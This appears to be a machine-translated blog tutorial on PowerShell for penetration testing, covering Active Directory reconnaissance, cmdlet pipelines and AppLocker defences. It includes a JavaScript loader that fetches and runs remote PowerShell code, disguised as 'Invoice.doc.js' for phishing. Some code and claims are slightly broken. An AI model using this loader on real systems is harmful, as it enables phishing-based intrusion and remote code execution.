Hackers like to use PowerShell to launch “fileless malware,” incorporeal malware that is not traditional binary with compiled malicious code, and for this reason can sometimes not be detected by antivirus solutions.
PowerShell, of course, always had a completely normal purpose, which at first had nothing to do with penetration testing at all. Those of you who want to know the background to PowerShell should read the famous Monad Manifesto . Written by one of the original developers, this manifesto explains why Microsoft needed a new scripting language (in other words, scripts), which eventually turned into PowerShell.
To save you the trouble of viewing a lengthy 17-page document, I’ll reveal to you the main motivating factor that prompted PowerShell authors: it was supposed to give system administrators access to .Net objects from the command line, thus allowing automation of the workflow at the system level rather than at the deep programming level in C # or C ++.
If you want real evidence of the effectiveness of PowerShell (hereinafter - PS), ask your system administrators how they massively add users to Active Directory or perform quick security settings. You will most likely learn about PowerShell solutions . In short: PS is a great way to reduce routine and increase productivity for administrators.
Why use PowerShell for pentests?
Unfortunately, what is so well suited as a powerful automation tool for administrators is ultimately useful for both hackers and penetration testers.
Suppose the IT administrator was tasked with figuring out who actually uses an underloaded server. Using PowerShell and the PowerView library of advanced functions, the system administrator can quickly view the users who are logged on to the server , without having to be logged on to this server itself:
However, attackers who previously gained access through a phishing attack could also do the same, as they can use the same features while in an Active Directory domain (hereinafter referred to as AD). And their activities will not necessarily be detected: an information security analyst monitoring the use of applications may conclude that, since it’s just PowerShell, it must be harmless .
To make this example even worse, hackers can even get all the detailed information about individual users using the Get-NetUser command, which will dump all user attributes in AD:
Unfortunately, companies sometimes neglect AD attributes that they make public for all employees - for example, a home or mobile phone, address, etc. Before PowerShell, it was much harder to collect all this data from AD, but that’s not the case for a long time!
What can attackers do with this information? They can easily take advantage of social engineering methods and develop an attack for this: perhaps by sending
an email with enough personal context derived from AD attributes to look like a legitimate support request asking for a “reset password”.
By the way, you can apply ACL control to AD attributes as well, so there is (!) A way to reduce the risk of attacks of this type. And this is one of those positive results that you can get from your own penetration testing experience.
PowerShell Pentester Tutorial
Using PowerShell, attackers can discreetly collect internal user data and then use it in their attacks. But there is no reason why IT or information security personnel cannot also learn PowerShell enough to start their own testing and learn to understand the hacker's mindset and motives.
The first nice thing about PowerShell is that all the old scripts and bat files that you ran from the cmd.exe command line still work in the PowerShell console. Already not bad, is it?
The next important point is that unlike Linux-like shells, PowerShell treats everything as an object . Even the output of a command (think only) is also an object.
For example, enter the Get-ChildItem command (or the cmdlet in a different way, as the commands are called in the PS world) in the console, and you will see a list of files in the current directory:
PowerShell Encoding
Suppose you want to write a PS script in which only files larger than 10 MB are displayed — for example, to quickly check which files take up a lot of space. This task will be much more difficult to solve in the string output of, say, the bash shell. However, in PowerShell, the output of any command is itself an object with a set of attributes .
To see this, simply pass the GetChildItem output to Get-Member , which will tell you the attributes of the PS cmdlet:
So, now we have identifiers for two attributes of interest to us: the length “length” and the name “name”, to which we can refer programmatically. 5 minutes - normal flight.
To cope with the frequent situation when objects are sometimes in arrays or collections, we will use the ForEach PS-operator to iterate over the array.
To make things even easier, an alias or alias "%" means "ForEach", and "$ _" represents the current object.
Running Commands Using PowerShell
Let's get our two output columns from the GetChildItem team based on our new knowledge. The example below is a pipeline with Get-ChildItem that feeds the ForEach statement, which only displays the values of the “length” and “name” attributes:
get-childitem | % {write-host $_.length $_.name -separator "`t`t"}
And here is the result of running the commands:
To finish our gorgeous example, let's tweak our script to only output large files, say, more than 10MB. To do this, we use a filter known as the Where-Object cmdlet with the convenient alias "?". It has all the usual comparison operators (-gt, -eq, -lt, etc.). We insert it in the middle of the pipeline and ours the script now looks like this:
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
As an exercise, try running the above PS creation in your own environment.
Tutorial: PowerShell Penetration Testing Example
With this little experience with PowerShell, we are ready to take on a very real-life pentest example. One of the fastest ways to get into a pentest is to use PowerShell to hide the payload. We wrote about how to do it here .
The idea is to hide our PowerShell code in a standard office document with the suffix .doc. In fact, the file will have the extension .js, and when clicked, it activates the launch of a Windows script to run JavaScript, which will then launch the built-in PowerShell code.
A bit confusing, right? But real hackers use not one, but several levels of nesting and obfuscation in order to hide and confuse their attack as much as possible.
Bootloader and payload preparation
Here's what the script looks like:
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
You paste the above code into a text file and rename it to something like Invoice.doc.js . The above JavaScript acts as a loader that runs using the built-in PowerShell cmdlets NetWebClient and Invoke-Expression , which themselves are aliases with "%".
The DownloadString method from the NetWebClient cmdlet remotely extracts the actual payload, which ultimately does all the dirty work for us.
You can insert your own URL pointing to your own test program. Well, the Invoke-Expression cmdlet receives the code of our malicious file and then executes it.
Check this!
In my case, the URL points to a Github project containing a simple PS Write-Host command that will display a harmless but important message for all of humanity. In a real attack, a file of such a scenario could well be attached to a phishing mailing list, which would lure an unsuspecting employee into a trap of curiosity. And the payload will be much more destructive.
You can try this on your own installation. And if all of the above works successfully, then you have one more urgent and important task that must be done without fail.
Benefits of Penetration Testing
This leads us to the reasons why we do penetration testing. Here are three real benefits that come to mind first:
- By exploring PowerShell teams as a pentester, you will understand how hackers “crack” this wonderful next-generation scripting language. Just consider the combination of the DownloadString and Invoke-Expression methods, allowing attackers to extract remote malicious code to the victim’s site without the need to save it in between.
- This exercise also emphasizes the secrecy of a modern hacker. I showed in the above example an attack scheme that does not leave any files around. Thus, you cannot use standard signature-based methods to reliably detect an attack performed using PowerShell. Trite, we do not have the signature of the malware itself for comparison.
- You are likely to start exploring ways to restrict PowerShell and other script-based methods. In the end, the attack begins with a script, so if companies make it difficult to run scripts, they can significantly reduce their risk profile.
Let me elaborate on the last point. You most likely will not want to completely ban PowerShell (or JavaScript), as this is a fundamental part of Windows system software. Fortunately, Microsoft has a way to selectively disable scripts (and other executables) through AppLocker , an improved version of the old Software Restriction Policies in modern Group Policies (GPOs).
This may seem unbelievable to technicians, but most ordinary users do not need PowerShell or other scripting languages to do their daily work. This, of course, is shocking, I know! AppLocker, for example, can be configured to disable PowerShell access for the masses, while allowing system administrators to still do their hard work.
Script-based attacks, including those related to email attachments, rely on administrators to provide employees with overly wide script permissions. And this should not be so!